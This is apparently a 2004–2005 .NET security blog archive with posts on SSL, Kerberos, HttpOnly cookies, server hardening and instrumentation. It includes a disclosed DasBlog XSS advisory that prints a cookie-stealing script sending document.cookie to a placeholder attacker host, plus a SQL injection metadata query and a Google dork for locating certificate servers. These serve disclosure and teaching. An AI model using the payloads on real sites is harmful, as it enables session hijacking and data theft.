dasBlog stores log files in known subdirectories of the blog site, e.g. http://www.site.com/logs/2005-01-20.events.log or http://www.site.com/logs/2005-01-20.events.zip

With a default installation (as provided by the installation instructions) these files can be downloaded anonymously and can leak information about your site.

Workaround
remove read ACLs for IUSR_MACHINENAME or remove anoymous and integrated authentication from the sub directory in IIS.

Sunday, March 06, 2005 8:34:28 AM UTC     

Cross-Site Scripting Vulnerability in Newtelligence DasBlog Community Edition

Author:
Dominick Baier <dbaier@ernw.de>

1. Summary:
A XSS (Cross-Site-Scripting) Vulnerability in DasBlog's Event Viewer allows to inject and execute code on the client's machine. This allows an attacker to transfer the ASP.NET authentication cookie to a server of his choice. The attacker can use this cookie to log on to DasBlog and modify blog entries and configuration settings.

2. Severity : Critical

3. Systems affected

DasBlog Versions:
 All

Browsers
 Tested with IE 6 and Firefox 1.0

4. Patch Availability

5. Details

The Events Viewer show details about failed requests that were made to the blog site. As extra information the requests details, e.g. the ViewState, is shown. It is possible to specially malform parts of the request to inject scripting code. This code gets embedded in the HTML pages and executed on the client. With specially crafted JavaScript code a attacker can transfer the ASP.NET Forms Authentication Cookie to a server of the his choice. While injecting this cookie in a HTTP request to DasBlog he can authenticate without having to know the username or the password and enter the administrative area.

Examples of script injections

Embed script code in the ViewState and send it to dasBlog

Example of transferring a cookie using JavaScript

<script>document.location='http://www.evil-site.com/cookieEater.aspx?cookie='+document.cookie</script>

6. Solution
Install the latest Version (which is by the time of writing 1.7.5016.2)

7. Disclaimer
 
The informations in this advisory are provided "AS IS" without warranty
of any kind. In no event shall the authors be liable for any damages
whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages due to the misuse of any
information provided in this advisory.

Sunday, March 06, 2005 8:27:19 AM UTC     

Craig McMurtry posted some sample code for an Authorization Manager Role Provider and a ADAM Membership Provider for ASP.NET 2.0

interesting!

Saturday, March 05, 2005 2:26:39 PM UTC     

One of the features i really like in .NET 2.0 is that you get Kerberos support. NegotiateStream is an implementation of AuthenticatedStream (as SslStream is), so the source code is very similar to my last post.

Notice that you can access the client identity with the RemoteIdentity property. This is a WindowsIdentitiy object that you can use construct a WindowsPrincipal to call IsInRole on and you can set Thread.CurrentPrincipal to use the .NET role based security infrastructure. nice!

NegotiateStream.zip (8.01 KB)

The Server

static void Main(string[] args)
{
    TcpListener listener = new TcpListener(4242);
    listener.Start();

    Console.WriteLine("Waiting for incoming connection...");
    TcpClient client = listener.AcceptTcpClient();

    Console.WriteLine("Authenticating...");
    NegotiateStream kerb = new NegotiateStream(client.GetStream());

    kerb.AuthenticateAsServer(CredentialCache.DefaultNetworkCredentials,
        ProtectionLevel.EncryptAndSign,
        TokenImpersonationLevel.Impersonation);


    Console.WriteLine("Client Identity: {0}", kerb.RemoteIdentity.Name);

    WindowsPrincipal principal = new WindowsPrincipal((WindowsIdentity)kerb.RemoteIdentity);
    Console.WriteLine("Is Admin? : {0}", principal.IsInRole(WindowsBuiltInRole.Administrator));

    Thread.CurrentPrincipal = principal;
    
    
    DoSomethingOnlyDevelopersCanDo();
}

[PrincipalPermission(SecurityAction.Demand, Role=@"LEASTPRIVILEGE\Developers")]
static void DoSomethingOnlyDevelopersCanDo()
{
    Console.WriteLine("Developers only");
}

The Client

static void Main(string[] args)
{
    TcpClient client = new TcpClient();
    client.Connect("localhost", 4242);

    NegotiateStream kerb = new NegotiateStream(client.GetStream());
    kerb.AuthenticateAsClient(CredentialCache.DefaultNetworkCredentials, "dbaier/leastprivilege",
        ProtectionLevel.EncryptAndSign,
        System.Security.Principal.TokenImpersonationLevel.Impersonation);

    StreamWriter writer = new StreamWriter(kerb);
    writer.WriteLine("Hello Kerberized Server");
}

Monday, February 28, 2005 5:51:52 PM UTC     

Just a quick sample how to get up and running with SslStream in .NET 2.0 (works with november CTP). you can download the source here. enjoy.

SslStream.zip (8.32 KB)

The Server
It's pretty straightforward - grab the server certificate from the cert store, open a socket and wait for incoming connections. When a client connects start the SSL authentication handshake. You can then connect the SslStream with a Reader and get input from your clients.

static void Main(string[] args)
{
  X509Certificate cert = getServerCert();
  TcpListener sslServer = new TcpListener(4242);

  sslServer.Start();

  Console.WriteLine("Waiting for incoming connection...");
  TcpClient client = sslServer.AcceptTcpClient();

  SslStream sslStream = new SslStream(client.GetStream());
  sslStream.AuthenticateAsServer(cert,false, SslProtocolType.Default, false);
}

private static X509Certificate getServerCert()
{
  X509Store store = new X509Store(StoreName.My, StoreLocation.CurrentUser);
  store.Open(OpenFlags.ReadOnly);
  X509CertificateCollection cert = store.Certificates.Find(X509FindType.FindBySubjectName, "SslStreamCert", true);
  return cert[0];
}

The Client
You open a connection to the server and start the authentication handshake with AuthenticateAsClient. You pass in the expected name of the server certificate (like your browser does when he expects to connect to, e.g. paypal or whatever) and hook up a callback that optionally validates the server certificate. After that you can just pump data through the stream. I omitted the ShowSslInfo method for brevity, this shows you the issuer, thumbprint, public key, expirations dates a.s.o. (but it is included in the download).

static void Main(string[] args)
{
  try
  {
    string certName = "SslStreamCert";

    TcpClient sslClient = new TcpClient();
    sslClient.Connect("localhost", 4242);

    SslStream sslStream = new SslStream(sslClient.GetStream(), false, new RemoteCertificateValidationCallback(CertificateValidationCallback));
                
    sslStream.AuthenticateAsClient(certName);

    showSslInfo(certName, sslStream, true);
                
    StreamWriter writer = new StreamWriter(sslStream);
    writer.Write("Hello SslStream");
  }
  catch (System.Exception ex)
  {
    Console.WriteLine(ex.Message);
  }
}

static bool CertificateValidationCallback(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
  if (sslPolicyErrors != SslPolicyErrors.None)
  {
    Console.WriteLine("SSL Certificate Validation Error!");
    Console.WriteLine(sslPolicyErrors.ToString());
    return false;
  }
  else
    return true;
}

 

Samples | Security in Whidbey
Monday, February 28, 2005 5:19:20 PM UTC     

if you want to play around with SslStream in Whidbey, the hardest part is to get ahold of the right type of certificate (in the right store).

If you don't have a full blown CA around (like OpenSSL or Windows 2003 CA), there's a tool called makecert.exe and it is included with .NET.

The steps:

1. First you have to create a CA certificate, which you will later use to sign the actual cert used for SSL
2. Create a SSL Certificate
3. Make sure the account your SSL server is running under has access to both certs

i could duplicate the information, but i found a good walkthrough here.

Make sure both certs are installed in the cert store for the user your demon is running under. So you have to import the CA .cer file under "Trusted Root Authorities" and the SSL .pfx file in the Personal store.

Sunday, February 27, 2005 1:46:56 PM UTC     

If you instrument your code with System.Management.Instrumentation you'll have to adjust permissions if non-admin or non-local system/network/local service code wants to publish information.

If you run installutil provider.dll from the command line you'll find the generated MOF file under system32\wbem\framework\root\your-provider-namespace

you have to edit the MOF file as follows:

class MSFT_DecoupledProvider : __Win32Provider
{
  string CLSID = "{..........some class GUID...........}";
  uint32 Version = 1;
  string HostingModel = "Decoupled:Com";
  // Remove the SecurityDescriptor attribute here
};

and

instance of WMINET_ManagedAssemblyProvider
{
  HostingModel = "Decoupled:Com";
  Name = "yourEventProviderName";
  // Add a security descriptor in SDDL format - see the Platform SDK for
  // correct format
  // Here a sample that grants access to the intrinsic Users group
  SecurityDescriptor = "O:BUG:BUD:(A;;0x1;;;BU)";
};

then run mofcomp manually.

sounds like big fun ??

Keith wrote a tool to compose SDDL strings - you can find it here.

Sunday, February 27, 2005 12:32:53 PM UTC     

Thank you very much for attending the post conference. You can find the slides and the demo app here. cheers!

Slides
PostCon.pdf (362.29 KB) / FormsAuthBestPractice.zip (171.39 KB)

Friday, February 25, 2005 7:09:00 PM UTC     

here are the slides for my DevWeek talks - some of them have slightly changed since the deadline for the conference companion materials. so grab the newest versions here.

thanks for attending!!!

What's new in .NET Security 2.0
New Security in 2 0.pdf (121.54 KB) / NET2 Security.zip (407.21 KB)

Designing Application Managed Authorization
Designing Application Managed AuthZ.pdf (215.46 KB) / Authorization.zip (103.23 KB)

Creating Managed Applications with WMI and .NET
WMI and NET.pdf (98.66 KB) / WMI.zip (529.5 KB)

Tuesday, February 22, 2005 5:12:01 PM UTC     

so i just arrived in London at DevWeek - nice venue - looks like big fun this week...

i'll keep you updated

Tuesday, February 22, 2005 4:12:23 PM UTC     

From the Samoa site (previous post)

WSE Policy Advisor is a security plug-in for Web Services Enhancements 2.0 for Microsoft .NET (WSE). It can be invoked either from the WSE Configuration Editor or as a stand-alone tool. It examines the policy files that configure WSE, summarizes their security properties, highlights typical security risks, and provides some remedial advice. Ensure you have installed SP2 of WSE 2.0 before attempting to install WSE Policy Advisor.

benjamin mitchell wrote a short review about it.

Saturday, February 19, 2005 11:41:12 AM UTC     

Collection of papers, links, and ideas from Microsoft Research.

via Mike Gunderloy

Tuesday, February 15, 2005 7:26:56 PM UTC     

I saw the HttpOnly flag for cookies mentioned in several blogs recently. HttpOnly is a new flag that you can append to a cookie, which makes the cookie unavailable to client side script (e.g. 'document.cookie'). Microsoft introduced that, and it seems that currently no other browser than IE6 SP1 supports this.

ASP.NET 1.1 has no built-in support for HttpOnly currently. You must append the flag manually to your cookies, e.g. to the forms authentication cookie:

public static void SetAuthCookie(string user, string[] roles)
{
  HttpContext context = HttpContext.Current;

  // create new authentication ticket
  FormsAuthenticationTicket ticket =
    new FormsAuthenticationTicket(
    1,
    user,
    DateTime.Now,
    DateTime.Now.AddMinutes(30),
    false,
    string.Join(",", roles));

    // encrypt the ticket
    string cookieval = FormsAuthentication.Encrypt(ticket);

    // create new cookie and set contents
    HttpCookie cookie = new HttpCookie(FormsAuthentication.FormsCookieName);
    cookie.Value = cookieval;

    // IE6 knows this flag - this means the cookie will not be available to script code (Anti XSS)
    cookie.Path = FormsAuthentication.FormsCookiePath + "; HttpOnly";

    context.Response.Cookies.Add(cookie);
}

or you could wire up an EndRequest event listener, which makes sure no cookie leaves your app without being flagged.

private void OnEndRequest(object sender, EventArgs e)
{
  HttpContext context = HttpContext.Current;

  foreach (string sCookie in context.Response.Cookies)
  {
    context.Response.Cookies[sCookie].Path += "; HttpOnly";
  }
}

Either way - be aware that this is no bullet-proof anti cross site scripting measure. it is just another piece in the puzzle to make your app more secure.

btw - ASP.NET 2.0 has a HttpOnly property on the HttpCookie class...

Monday, February 14, 2005 12:32:52 PM UTC     

so this seems to be officially fixed - finally

http://www.microsoft.com/technet/security/Bulletin/MS05-004.mspx
"This update resolves a public vulnerability in ASP.NET that could allow an attacker to bypass the security of an ASP.NET Web site and gain unauthorized access. The vulnerability is documented in the Vulnerability Details section of this bulletin. An attacker who successfully exploited this vulnerability could gain unauthorized access to parts of a Web site. The actions that the attacker could take would depend on the specific content being protected."

Tuesday, February 08, 2005 8:05:01 PM UTC     

.NET 2.0 has the ability to specify different user credentials when starting a new process via Process.Start(). The password for the user has to be supplied via the new SecureString class (read more here).

First you have to collect the password in a safe manner from the user. The new Console members are your friend here. We add the characters for the password one at a time via Console.ReadKey to the SecureString, which tucks it away encrypted in a safe store outside of the managed heap. We don't even echo the password back to the console. cool.

SecureString password = new SecureString();
            
Console.Write("Enter Password for {0}: ", args[0]);
while (true)
{
  ConsoleKeyInfo cki = Console.ReadKey(true);
  if (cki.Key == ConsoleKey.Enter)
   break;
  else if (cki.Key == ConsoleKey.Escape)
   return;
  else if (cki.Key == ConsoleKey.BackSpace)
  {
   if (password.Length != 0)
    password.RemoveAt(password.Length - 1);
  }
  else
   password.AppendChar(cki.KeyChar);
}

after that we simply pass the SecureString to the process' StartupInfo and we are finished. nice.

ProcessStartInfo si = new ProcessStartInfo();

si.FileName = "cmd.exe";
si.Arguments = "/k Title *** cmd running as " + args[0] + " *** && color 4F && PROMPT=$P$_$+$G";
si.WorkingDirectory = Environment.CurrentDirectory;
si.UseShellExecute = false;
                
si.UserName = args[0];
si.Password = password;
si.LoadUserProfile = true;
Process.Start(si);

Thursday, February 03, 2005 7:27:06 AM UTC     

Interested in 4 days of in-depth knowledge about building secure applications using the new .NET 2.0 features??? While having big fun???

DevelopMentor's Essential .NET Security 2.0 course is finished. We will start to teach it in Europe starting with the 29th of march.

see you there!

Here's the description:

Essential .NET 2.0 Security provides you with an in-depth examination of various threat and mitigation techniques you may most often encounter. The course then moves on to cover symmetric and public key cryptography methods in .NET 2.0 “Whidbey”, as well as how to program Kerberos and SSL. Further, fundamental operating system security concepts - including principals, authorities, services, security identifiers, tokens, logon sessions, window stations, access control, and more - are covered in this comprehensive course. The new security infrastructure for securing mobile code and the security features for ClickOnce deployment will also be discussed. And to round out your training experience, you’ll learn techniques for securing ASP.NET, Web services, the .NET Remoting infrastructure, strategies for access control including role-based and ACL level security, and secure coding techniques (avoiding common security bugs such as buffer overflows and SQL injection attacks).

Tuesday, February 01, 2005 8:29:02 PM UTC     

I  started to explain here, why instrumentation (though strictly speaking this is not a security feature) is very important to build secure applications.

Another option is to use WMI (see here and here and here).

Which specific technology you use to let someone know that something is wrong, depends on the environment your application runs in. If the admins of the application uses Performance Monitor - then go for PerfMon - if they use network monitoring systems like Microsoft Operations Manager - WMI might be the right solution.

For my instrumentation talk at DevWeek i created a little sample applications which shows how use WMI to publish information and events as well as a WMI consumer that monitors that information.

The provider app publishes the number of failed logons to WMI, and if a user has three consecutive failed logons an event is generated. The consumer periodically polls the WMI class and subscribes to the event. enjoy.

Sunday, January 30, 2005 10:30:43 AM UTC     

While writing some demos for DevWeek, i came up with a nice way to use ProtectedData.

I wanted to have some custom attributes to put on class members, and if such a attributed class gets XML-serialized those members should be encrypted using DPAPI, e.g.

    [ProtectedXml(DataProtectionScope.LocalMachine)]
    public class Config : ProtectedXmlBase
    {
        [ProtectedField]
        public string ConnectionString;

        [ProtectedField]
        public DateTime LastLogin;

        public string DisplayName;
    }

With the [ProtectedXml] attribute you can choose the scope of the DPAPI encryption (User or Machine) and with [ProtectedField] you can mark the fields which should be encrypted upon serialization.

This is accomplished by implementing the IXmlSerializable interface to do custom XML serialization and using ProtectedData for the encryption/decryption. Compiled wiht the November CTP of Whidbey. enjoy

Saturday, January 29, 2005 2:26:22 PM UTC     

Whidbey supports a new channel for Remoting - IPC.

IPC channels are for intra-machine communication only and use named pipes. The good thing is, that IPC channels are locked down, so they permit only connections from the local host - and even better, you can ACL the channel, to specify who is allowed to connect.

One scenario that can be elegantly solved with this, is if you want to factor out highly privileged code from your least privilege server process, you can put that code in a remoting server (e.g. packaged as a NT service with elevated privileges), and let your server process communicate with the out-of-proc remoting server. Only local connections are possible, and you can ACL the remoting server to accept only connections from your least priv component.

I normally use Enterprise Services to achieve the same thing - this approach could be easier. at least an alternative.

Saturday, January 22, 2005 12:40:42 PM UTC     

finally. it is here! just downloading it.

LogParser 2.2
Log parser is a powerful, versatile tool that provides universal query access to text-based data such as log files, XML files and CSV files, as well as key data sources on the Windows® operating system such as the Event Log, the Registry, the file system, and Active Directory®. You tell Log Parser what information you need and how you want it processed. The results of your query can be custom-formatted in text based output, or they can be persisted to more specialty targets like SQL, SYSLOG, or a chart.

Most software is designed to accomplish a limited numer of specific tasks. Log Parser is different... the number of ways it can be used is limited only by the needs and imagination of the user. The world is your database with Log Parser.

Friday, January 21, 2005 6:11:37 AM UTC     

Michael Willers and I are doing four workshops about windows/.net/asp.net security in germany this year.

The workshops are 2-days long and michael will cover .NET/Windows and CAS. I will focus on ASP.NET (description in german).

topics covered:

• .NET Code Access Security
• Secure Deployment
• ASP.NET Architecture / HTTP Pipeline
• Authentication and Role-Based Security
• Impersonation/Delegation and Multi-Threading
• Input Validation
• Data Protection API
• ASP.NET Partial Trust
• Instrumentation

Dates:

• 04.04.2005 (Stuttgart)
• 06.06.2005 (Hannover)
• 05.07.2005 (Munich)
• 19.09.2005 (Munich)

seats are limited and you can book here.

see you there.

Wednesday, January 19, 2005 6:46:10 PM UTC     

via brian johnson

Scriptomatic 2.0
A completely new version of the famous Scriptomatic, the utility that writes WMI scripts for you. (And, in the process, teaches you the fundamental concepts behind writing WMI scripts for yourself.) Unlike its predecessor, Scriptomatic 2.0 isn’t limited to writing just VBScript scripts; instead, Scriptomatic 2.0 can write scripts in Perl, Python, or JScript as well. In addition, Scriptomatic 2.0 gives you a host of new output formats to use when running scripts, including saving data as plain-text, as a stand-alone Web page, or even as XML. Scriptomatic 2.0 handles arrays, it converts dates to a more readable format, and it works with all the WMI classes on your computer; on top of all that, it also writes scripts that can be run against multiple machines.

Tuesday, January 18, 2005 6:52:31 PM UTC     

Service Pack 1 for Windows Server 2003 is due to be released soon. You can download the RC1 from TechNet (more info and download here).

Besides some other interesting features (mostly XP SP2 features reintegrated) there is a new "Security Configuration Wizard" which is supposed to assist admins doing a local hardening of machines. interesting.

The SCW is an optional component that you have to install via Add/Remove Software. When you start the SCW you have the choice of creating a new policy or applying an existing one. SCW policy files are XML files (thanks for that – compared to IPSec policies) – and can be created on one machine and applied to several (similar configured) other machines. A cool feature is, that you can turn policy files to group policies for central deployment (using the scwcmd.exe tool).

When you want to create a new policy SCW analyzes your current configuration and creates a policy according to that – so first of all you have to configure your server with the required functionality – I chose the Application Server Role (what else?) and gave it a try.

Here are the config choices the wizard gave me:

Role Based Configuration
You start with selecting which roles the server will perform, e.g. Web Server, ASP.NET Session State Server, COM+ and which client features the server requires, e.g. DNS, DHCP, Automatic Updates.
You then chose the various remote admin/access and additional services you want to have enabled/disabled. A nice feature is, that SCW disables all other services that you didn’t select – and – if applied periodically (via a GPO e.g.) this is also true for services that get installed in the future. After that you get a nice overview of all services, their dependencies and startup configuration after applying the policy.

Network Security
In this section you select to which inbound network ports you server should listen – and – even better – you can place IP restrictions on the inbound traffic and configure IPSec negotiation (e.g. Terminal Services are only allowed from the admin subnet). This configures a combination of ICF and IPSec settings.

If you don’t know the exact ports used at runtime (e.g. DCOM/RCP) you can also approve applications as opposed to protocols and port number (a feature of the new built-in firewall which can also be found in XPSP2).

Registry Settings
You can turn on required SMB signing here. And choose between the various LM, NTLM, NTLMv2 send/reply options. The following registry keys are adjusted accordingly:

HKLM\System\CurrentControlSet\Control\LSA\LMCompatibilityLevel
HKLM\System\CurrentControlSet\Control\LSA\NoLMHash

These settings basically configure which sort of computer-to-computer authentication protocols should be used – I clearly opt for using NTLMv2 only which also means that you don’t have to store the weaker (and much more vulnerable) LM password hashes on the local machine).

Audit Policy
You can choose between no auditing, success, and success and failure. I chose the last option and this turns on all available auditing options (besides privilege use), which seems a little like an overkill to me. Additionally SACLS are added to OS files as configured in ASCAudit.inf (located in %WINDIR%\Security\Msscw\Kbs).

IIS
You first select the required web service extensions (e.g. ASP.NET) and can disable all unknown extensions. Then you have the option to physically remove all IIS pre-installed vdirs (IISSamples, MSADC, AdminScripts, IISHelp, IISAdmin) and if you want to deny anonymous write access (good choice).

That's it. You now can save your policy and apply it to the local machine or to different similar machines.

A quick inspection of the system configuration shows that the wizard has done his work. Disabled services, less visible ports a.s.o.
While not as rigorous as doing a manual hardening (e.g. removing services/protocols vs. just disabling them) i really like the way how the wizard present the information to the user. This makes it much easier for non security-experts to make the right choices.

I would like to see SCW as a non-optional install and a nag screen (like the XPSP2 Security Center) which "reminds" the admin that he still has to run the wizard. nice work!

• Post you Windows 2003 feedback to Microsoft
• SCW info page
• Windows 2003 Security Center
   

Sunday, January 09, 2005 7:43:22 PM UTC     

I am a big fan of LogParser! The problem is, that the Microsoft documentation about this really powerful tool is - well, a little sparse.

A really great support web site dedicated to LogParser is www.logparser.com!

The forum rocks - and one of the developers - gabriele giuseppini - will happily answer your questions. recommended.

Wednesday, January 05, 2005 2:47:23 PM UTC     

EvenMonitor2 logs Windows Event Logs in realtime and can forward the Event entries to the following destinations:

• Console
• File
• SOAP Endpoint

File output is XML. There are several sample XSLT stylesheets included to transform the output to HTML.

New in Version 2 is XML Messaging support. You can specify a SOAP endpoint, and all Event entries will be transmitted to this endpoint. A sample WinForms Monitor Console is included. I also added WS:Security support. You can use KerberosToken (WSE2), KerberosToken2 (WSE SP2) and UsernameTokens. All Messages get encrypted and digitally signed using the selected token.

For added UsernameToken security you can hash the password with a ScopeUri prior to sending the message (the resulting password has the format H(pwd+servername).

The included binaries are compiled against WSE2 SP2.

EventMonitor2.zip (52,9 KB)

Command Line switches:

What to log:

/log
Choose the Eventlog to Monitor (e.g. Application, System, Security)

/f
Filter for Event Severity (e.g. Information, Warning, Error)

Where to log:

By default all log entries will be written to the console window

/nocon
Suppress console logging

/out
Log to XML File (provide filename)

/ws (provide URI, e.g. soap.tcp://LogServer:4142/EventMonitorConsole
Log to a SOAP Endpoint via WSE2

Security Settings

/priv
Encrypt & Sign SOAP Messages

/kerb
Use KerberosToken, the Target SPN will be constructed from the SOAP Endpoint URI

/spn
Use KerberosToken2, specify the SPN the logging console runs under

/u
Use UsernameToken, specify the username

/p
Use UsernameToken, specify the password

/h
Hash the password on the client before sending to the server. The format is H(pwd+ ServerName)

Examples:

Log Application log to file:
EventMonitor /log Application /out out.xml

Log to a SOAP Endpoint
EventMonitor /log Security /ws soap.tcp://LogServer:1234/EventMonitorConsole

Use Kerberos
EventMonitor /log Security /ws soap.tcp://LogServer:1234/EventMonitorConsole /priv /kerb
EventMonitor /log Security /ws soap.tcp://LogServer:1234/EventMonitorConsole /priv /spn "LoggingDemon/Domain"

Friday, December 31, 2004 2:38:51 PM UTC     

That's what i love about blogging - everybody finds his niche.

A blog dedicated to Windows Auditing.

Only 3 posts so far - hey eric, keep 'em coming, we love this topic!

Wednesday, December 29, 2004 8:35:06 PM UTC     

UPDATE
thanks for the comments. i bug fixed and added the suggestions to the code.

Weeks ago i promised to post my ASP.NET frontend for the LogParser tool, but I haven't had the time to hunt down some bugs and finalize it. (i also found another project called 'ServerStat' which you can download on www.logparser.com).

However - i thought i post the most important part of the tool - which is a little method that queries LogParser through COM Interop and converts the results to a DataSet.

private DataSet parseLog(string query)
{
   LogQueryClassClass logParser = new LogQueryClassClass();
   COMIISW3CInputContextClassClass iisLog = new COMIISW3CInputContextClassClass();

   ILogRecordset rsLP = null;
   ILogRecord rowLP = null;

   rsLP = logParser.Execute(query, iisLog);

   DataTable tab = new DataTable("Results");

   // copy schema
   for (int i = 0; i < rsLP.getColumnCount(); i++)
   {
    DataColumn col = new DataColumn();
    col.ColumnName = rsLP.getColumnName(i);
    switch (rsLP.getColumnType(i))
    {
     case 1:
      col.DataType = Type.GetType("System.Int32");
      break;
     case 2:
      col.DataType = Type.GetType("System.Double");
      break;
     case 4:
      col.DataType = Type.GetType("System.DateTime");
      break;
     default:
      col.DataType = Type.GetType("System.String");
      break;
    }
    tab.Columns.Add(col);
   }

   // copy data
   while (!rsLP.atEnd())
   {
    rowLP = rsLP.getRecord();
    DataRow row = tab.NewRow();

    for (int i = 0; i < rsLP.getColumnCount(); i++)
     row[i] = HttpUtility.HtmlEncode(Convert.ToString(rowLP.getValue(i)));

    tab.Rows.Add(row);
    rsLP.moveNext();
   }
  
   DataSet ds = new DataSet();
   ds.Tables.Add(tab);
   
   return ds;
}

Sunday, December 26, 2004 4:13:35 PM UTC     

Another injection attack. As querying XML with XPath gets more widely adopted (e.g. the XML DataSource in .NET 2.0) this could become a serious problem.

Just follow the best practices to mitigate all the other injection attacks (that is sanitize user input), and you'll be safe (well - sort of :)

Some "advantages" of XPath Injection:

Sunday, December 26, 2004 9:22:53 AM UTC     

A very detailed paper about configuring and troubleshooting kerberos delegation is available on Technet. recommended.

UPDATE
This page is part of the 'Kerberos Authentication Technology Center' which in turn is part of the 'Security Services in Windows 2003'.

Wow. Lots of good material...

Friday, December 24, 2004 10:12:08 PM UTC     

UPDATE
I double checked that with my favourite database guru bob beauchemin - looks good ;)

Everybody knows SQL Injection. What still amazes most of the people at demos is a technique called "Blind Folded SQL Injection" (read more).

With BFSI you start with zero knowledge of the underlying database and get to know the structure (database names, table names, column name...) by querying metadata, e.g.

... union select null, null, catalog_name, null, null from master.information_schema.schemata ...

In SQL 2000 there is no way to prohibit that.

SQL Server 2005 introduces a new a permission called 'VIEW DEFINITION' which effectively controls who has access to metadata. cool!

Thursday, December 23, 2004 7:48:30 PM UTC     

I recently did some work with WSE2 XML Messaging and KerberosToken. There were times where i just quickly needed the auto-generated WSDL of my SoapService (same as WSE2WSDL but without creating the proxy class)...this code was my friend:

using System;
using Microsoft.Web.Services2;
using Microsoft.Web.Services2.Messaging;

public class GetWsdlProxy : SoapClient
{
  public GetWsdlProxy(string TargetUri) : base(new Uri(TargetUri)) {}

  public string GetWsdl()
  {
    SoapEnvelope env = base.SendRequestResponse("http://schemas.microsoft.com/wse/2003/06/RequestDescription", new SoapEnvelope());

  return env.Body.InnerXml;
  }
}

Tuesday, December 21, 2004 2:43:20 PM UTC     

fredrik normen wrote a good summary of the new protected configuration feature in whidbey (plus some other interesting posts around asp.net 2.0)

Saturday, December 18, 2004 10:22:14 AM UTC     

what bugged me since the first version of VS2005 i installed on my laptop (i think it's plain beta 1 and i did not follow all this CTP madness), is the removal of the "hit any key to close window" message when you Ctrl-F5 start a console app. i thought this was odd and blamed it on the beta.

Today IanG complained about it on his blog and it came back to my mind. On the beta site this was not filed as a bug but "by-design". bah. shortly after that Chris Sells asked on his blog to vote against this "feature" - and a few hours later - Ctrl-F5 is back!

"This has been fixed and the feature is back to the behavior you would expect. Thank you for pointing this out to me, and keep all the great feedback coming."

power to the people :)

Thursday, December 16, 2004 7:57:18 PM UTC     

Information Disclosure is the 'I' threat in the STRIDE Threat Model.

Info Disclosure basically means that you give a user (and an attacker) more information about your system and infrastructure than needed.

One of the oldest anti Info Disclosure measures is the "wrong username or password" message. This leaves the attacker guessing which of the two provided inputs are wrong and is much better than "oh - the username is right - just try another password" :)

One example is the dreaded server header in HTTP. This header gives you information about what web server product (and often version and patchlevel) is used. This header is often used by automated attack scripts to find out which platform specific exploits should be fired against your IP. I usually demo www.netcraft.com to show how easy it is to retrieve this information (insert your favourite dns name in the 'what's that site running' input box).

Google is your friend to find standard banners and error messages on the web, e.g. try to google for:

intitle:"microsoft certificate services" inurl:certsrv

This gives you machines on the internet with a default MS certificate services welcome banner. Given the fact that the CA private key is usually stored on such a machine - this would make an ideal attack target.

I found two interesting tools that check/google for suspicious standard banner/standard error messages - it is big fun to play with them - but also very alarming.

Athena
Foundstone SiteDigger (+ a good whitepaper about 'google hacking')

So - my advice - be careful what information you give your users.

• Don't use standard banners, standard welcome messages, standard sub-directory names (like /admin, /secure, /secret) and standard error messages.
• Use obscurity (yes - security through obscurity does not work!) - but you are buying time
• Use strong authentication - only give information to users which have gone trough this authentication process
• Only give vague error messages to users - but be sure to log them detailed in your back end

Thursday, December 16, 2004 11:02:26 AM UTC     

Shows you the evidence of an assembly. Nice for demos, e.g.

EvidenceBrowser d:\etc\tools\tool.exe
opposed to
EvidenceBrowser http://localhost/tool.exe
and
EvidenceBrowser http://127.0.0.1/tool.exe

This tool is basically a hybrid of two code fragments by fellow DM trainers jason whittington and henkk de koning.

Henkk has done the heavy lifting of getting IE to show an in-memory xml document. cool.

EvidenceBrowser.zip (137,95 KB)

Tuesday, December 14, 2004 2:17:31 PM UTC     

The slides from the CompuWare product launch - about Application Security.

CW_ApplicationSecurity.pdf (155,5 KB)

Monday, December 13, 2004 11:23:53 AM UTC     

A nice observation by Nikhil Kothari.

Another hole in HTML - but of course boils down to : don't let your users cross the thin line between the data and control channel - or put otherwise : validate that input!

Monday, December 13, 2004 10:26:07 AM UTC     

It is impossible to build unbreakable applications. Just as in physical security we need to incorporate

• Protection
• Detection
• Reaction

in our software systems.

Once an attempt to break into your application is detected, it is easier for an admin to halt that attack - and it is easier for developers to diagnose and patch that problem.

There are a lot of ways to instrument your applications - ranging from sending emails, writing to the event log, logging to disk or using WMI to full blown frameworks like EIF.

Every approach has its advantages and disadvantages. The biggest problem of all these techniques is the amount of data that gets produced. Network operation staff or admins need an easy and natural way of detecting that something is going on. And after that they can take actions or consult specialists that can figure out what exactly is going wrong based on the detailed logging output.

One approach to that problem i especially like (and my students also every time i demo it), is using Windows Performance Monitor. It is really easy to get that up and running.

First you have to create a new performance counter category and a counter. You can do that in Visual Studio Server Explorer. Right click Performance Counters and select 'Create new Category' (you have to have admin privs to do that - so switch to your admin account now :). Give the category a name like 'SuspiciousActivity' and add some counters.

The data type 'NumberOfItems' is for absolute numbers that you can set or increase/decrease in your application (e.g. ValidationErrorsTotal). 'RateOfCountsPerSecond' is useful if you want to capture the number of events relative to time, e.g. to detect an automated attack script (e.g. ValidationErrorsPerSecond).

After that you can create a reference to these performance counters in your code.

PerformanceCounter total = new PerformanceCounter("SuspiciousActivity", "ValidationErrorsTotal", false);
PerformanceCounter persecond = new PerformanceCounter("SuspiciousActivity", "ValidationErrorsPerSecond", false);

and manipulate them via

total.IncrementBy(1);
or
persecond.Increment();

Now open 'perfmon.exe' and add those counters to the graph.

Performance Monitoring can be done remote, it is visual and perfmon is a tool admins are used to. that's why i like this approach.

When should you set those performance counters?

Well, every time you encounter a condition in your application that could be relevant for monitoring staff. In the case of validation errors in ASP.NET, you could hook up a exception handler that checks for 'HttpRequestValidationException' (in Page_Error or Application_Error) or when a input string fails regular expression validation. Be creative.

Sunday, December 12, 2004 2:25:10 PM UTC     

Compuware was so kind to invite me to do the keynote on their product launch of two security/quality related products for .net in Amsterdam yesterday.

thanks for the invitation and hospitality!

ASP.NET Security Checker is an add-in for visual studio which checks your projects for common (and not so common) security flaws. It can operate in three modes - source code analysis, IL analysis and black box testing.

I am quite pleased to finally see the first security product for .net that takes the white box approach and operates on the source code. The security checker is fully integrated in Visual Studio and thus makes it easy to make security checking part of your development cycle. great!

Official product launch will be in january and i am happy to work with Compuware to provide more checks for upcoming versions/updates.

Fault Simulator can inject environmental and .net exceptions in your running code to see how your program can handle those conditions. I especially like the feature that Fault Simulator gives you hints while programming which exceptions could be thrown/tested for in your current line of code. good work!

i'll keep you updated!

Tuesday, December 07, 2004 10:02:17 AM UTC     

christian released a 0.4 version of his web service contract first tool. good stuff.

Tuesday, December 07, 2004 9:38:40 AM UTC     
